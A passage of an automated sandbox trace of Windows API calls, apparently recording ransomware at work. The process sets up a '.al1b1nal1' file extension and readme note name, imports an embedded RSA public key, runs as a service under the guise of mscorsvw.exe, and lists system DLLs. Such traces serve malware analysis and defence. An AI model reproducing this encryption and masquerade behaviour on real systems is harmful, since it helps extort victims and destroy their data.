(HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d298) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5e8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2e8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d618) returned 1 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d618 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2e8 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5e8 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.757] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.757] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.757] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x942850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=14, lpWideCharStr=0xa8dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0247.758] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x942850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=10, lpWideCharStr=0xa8e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0247.758] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x942850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=15, lpWideCharStr=0xa8e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0247.758] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x942850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0247.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x942850, cbMultiByte=56, lpWideCharStr=0xa8e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0247.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x945058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0247.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x945058, cbMultiByte=10, lpWideCharStr=0xa8e1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0247.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x945058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0247.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x945058, cbMultiByte=17, lpWideCharStr=0xa8e268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0247.759] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0247.768] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0247.768] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x947cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x947cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0247.768] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x947cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0247.952] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x280) returned 0x947f40 [0247.952] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x947cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x947f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x947f40, pcbStructInfo=0x18fd24) returned 1 [0247.952] CryptImportPublicKeyInfo (in: hCryptProv=0x53d990, dwCertEncodingType=0x10001, pInfo=0x947f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x947f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x947f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5422e8) returned 1 [0247.957] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x947f40) returned 1 [0247.957] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x947cf8) returned 1 [0247.957] ReleaseMutex (hMutex=0x90) returned 1 [0247.957] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945058) returned 1 [0247.957] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x945058 [0247.957] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c900 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c900) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945058) returned 1 [0247.958] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x945058 [0247.958] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c900 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c900) returned 1 [0247.958] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c900 [0247.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0247.958] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e1e0 [0247.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c900, cbMultiByte=9, lpWideCharStr=0xa8e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0247.958] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e268 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e1e0) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e268) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c900) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945058) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.958] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.958] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0247.959] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 912 os_tid = 0x6b8 Thread: id = 913 os_tid = 0x6bc Thread: id = 914 os_tid = 0x6c0 Thread: id = 915 os_tid = 0x6c4 [0248.086] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x53e438 [0248.087] SetServiceStatus (hServiceStatus=0x53e438, lpServiceStatus=0x118ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0248.100] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e268 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5c) returned 0xa8dd28 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e1e0 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e2f0 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e378 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e400 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e488 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e510 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e598 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e620 [0248.100] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e6a8 [0248.101] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e730 [0248.101] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e7b8 [0248.101] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x947cf8 [0248.101] GetSystemWow64DirectoryW (in: lpBuffer=0x947cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0248.101] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x947cf8) returned 1 [0248.101] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e840 [0248.101] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e840) returned 1 [0248.101] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e840 [0248.101] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x118fca8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118fca8) returned 0x53fd68 [0248.102] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.102] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.102] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.103] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.103] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.103] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.103] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.103] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.103] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xa8c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.710] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.710] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.710] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.710] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.711] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xa8c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.711] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, 